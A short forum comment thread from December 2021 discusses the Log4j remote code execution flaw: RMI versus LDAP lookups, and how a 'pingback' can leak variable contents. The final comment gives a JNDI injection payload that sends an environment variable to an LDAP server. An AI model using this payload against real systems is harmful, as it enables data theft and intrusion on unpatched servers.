News for hackers. Stuff that matters.

A comment on Log4j RCE Found. Parent comment

Re:Log4j RCE Found by Fabricio20 on Thursday December 09, 2021 @07:57PM (#29505207)
If you check the argument, one is for RMI and the other is for LDAP, if your PoC uses LDAP then you need the LDAP one, else RMI, etc.. But yes, most people probably don't have this enabled, so the only concern is a pingback in modern java.
[ Parent | on HN ]
Re:Log4j RCE Found by ryan_lane on Thursday December 09, 2021 @09:05PM (#29505637)
Pingback can also include variable contents, so it's not just "they can get the IPs", but also potentially secrets and such.
[ Parent | on HN ]
Re:Log4j RCE Found by brasetvik on Friday December 10, 2021 @10:46AM (#29511222)
Yeah, `${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}`
[ Parent | on HN ]